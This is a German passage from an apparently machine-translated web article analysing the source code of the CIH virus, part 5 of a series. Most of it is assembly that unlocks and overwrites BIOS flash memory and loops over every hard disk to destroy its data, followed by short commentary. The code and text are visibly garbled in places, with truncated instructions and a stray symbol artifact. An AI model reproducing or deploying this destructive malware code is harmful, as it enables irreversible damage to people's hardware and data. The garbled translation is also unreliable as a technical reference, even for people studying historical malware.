Analyse von Quellcodebeispielen für Virenprogramme – CIH-Virus[5]
push ecx
loop $
; Zerstöre die zusätzlichen 000E0000 - 000E007F-Segment-ROM-Daten im BIOS, insgesamt 80h Bytes
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
; Anzeige und Aktivierung der 000E0000 - 000FFFFF-Segmentdaten des BIOS, insgesamt 128 KB, dieses Segment kann Informationen mov eax, 0f5555h schreiben
Pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
; Zerstöre die Segmentdaten 000FE000 - 000FE07F des BIOS, insgesamt 80h Bytes
mov ah, 0e0h
mov [eax], al
; Den Abschnitt 000F0000 - 000FFFFF des BIOS ausblenden, insgesamt 64 KB
mov word ptr ( BooleanCalculateCode-@10) [esi], 100ch
call esi
; Zerstöre alle Festplatten
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
Push ecx
mov esi, esp
sub esp, 0ach
Loop to destroy
LoopOfKillHardDisk:
int 20h
dd 00100004h
cmp word ptr [esi+06h], 0017h
je KillNextDataSection
;ChangeNextHardDisk:
inc byte ptr [esi+4dh]
jmp LoopOfKillHardDisk
KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk
Aktivieren EEPROM zu Schreibinformationen
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ ecx], al
ret
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
al , 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
, al
ret
;Statische Datendefinition
LastVxdCallAddress = IFSMgr_Ring0_FileIO;Die zuletzt aufgerufene Vxd-Anweisungsadresse
VxdCallAddressTable db 00h db IFSMgr_RemoveFileSystem ApiHook-_PageAllocate
db UnitObcspath-ifSmgr_removeFilesystemapiHook
db ifSmgr_ring0_Fileio-unitobcspath; Der Unterschied zwischen den Adressen der einzelnen VXD-Anrufanweisungen
xDs Anrufnummer
VXDCALLTables = ($ -vxdcallidtable)/04H; in
; Virenversion und Copyright-Informationsdefinition
VirusVersionCopyright db 'CIH v'; CIH-Virus-Identifizierung
db ' MinorVirusVersion+’0’ ; > + SizeOfTheFirstVirusCodeSectionTable(04h)
; Dynamische Datendefinition
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress ; Startadresse der Virusdaten
OnBusy db 0 ; „Busy“-Flag
FileModificationTime dd ? ;Dateiänderungszeit
FileNameBuffer db FileNameBufferSize dup(?) ;7fh langer Dateinamenpuffer
@7 = FileNameBuffer
DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; TimeDateStamp dd ? Magic dw ? ;Flagwort (immer 010bh)
LinkerVersion dw ;Linker-Versionsnummer
SizeOfCode dd ? ; Größe des nicht initialisierten Datenblocks
BaseOfCode dd ?
BaseOfData dd ? ;Datenabschnitt start RVA
ImageBase dd ? ;Basisadresse RVA laden
@9 = $
SectionAlignment dd ? ;Dateiblock Ausrichtung
OperatingSystemVersion dd ;Erforderliche Betriebssystemversionsnummer
ImageVersion dd ? ;Erforderliche Subsystemversionsnummer
Reserviert
SizeOfImage dd ? ; Gesamtlänge jedes Teils der Datei
SizeOfHeaders dd ? ; Datei-Header-Größe
SizeOfImageHeaderToRead = $-NumberOfSections
NewAddressOfEntryPoint = 04h
StartOfSectionTable=@9 🎜 > PointerToRawData = StartOfSectionTable+14h; Physischer Offset des Blocks
PointerToRelocations = StartOfSectionTable+18h; Verschiebungs-Offset
NumberOfRelocations = StartOfSectionTable+20h; Anzahl der Verschiebungselemente NumberOfLinenNmbers = StartOfSectionTable+22h ; Anzahl der Zeilennummerntabellen
Characteristics = StartOfSectionTable+24h ; SizeOfScetionTable = Characteristics+04h-SectionName ; Die Menge an Speicher vom Virus benötigt
VirusNeedBaseMemory = $
VirusTotalNeedMemory = @9
; + SizeOfVirusCodeSectionTableEndMark(04h)
;
; END FileHeader
Aus dem obigen Code-Analyseprozess können wir erkennen, dass der CIH-Virus eine klare Struktur und unterschiedliche Schichten hat. Die Grundstruktur dieses Virenprogramms ist der des DOS-Virus sehr ähnlich, mit der Ausnahme, dass die Details des Virus gemäß der Win95-Methode verarbeitet werden und alle Systemaufrufe mit Vxd erfolgen. Dies macht das Virenprogramm einfacher, effizienter und einfacher zu programmieren. Im Vergleich zur Verwendung von Interrupts muss der komplexe Verschiebungsprozess des Virus nicht berücksichtigt werden die Verfolgung des Programms analysieren.
Der CIH-Virus verfügt über zwei Neuerungen: Die eine besteht darin, bei der Infektion nach den leeren Bereichen zwischen den Blöcken der infizierten Datei zu suchen und die verschiedenen Datenstrukturen und Codes des Virus in diese zu schreiben (sofern der leere Bereich vorhanden ist). ist nicht genug, es ist nicht ansteckend, was einer der Gründe dafür ist, dass einige Dateien nicht infiziert werden); zweitens kann der Virus bei einem Angriff die Computerhardware beschädigen, indem er nicht nur den Flash-Speicher verbrennt, sondern auch die Festplatte zerstört.
Aus Sicherheitsgründen haben wir auf eine detaillierte Analyse des Teils des Codes verzichtet, der dazu führt, dass Viren Hardware angreifen und beschädigen.
Das Obige ist der Inhalt der Beispielanalyse des Virenprogramm-Quellcodes – CIH-Virus [5]. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.org). php.cn)!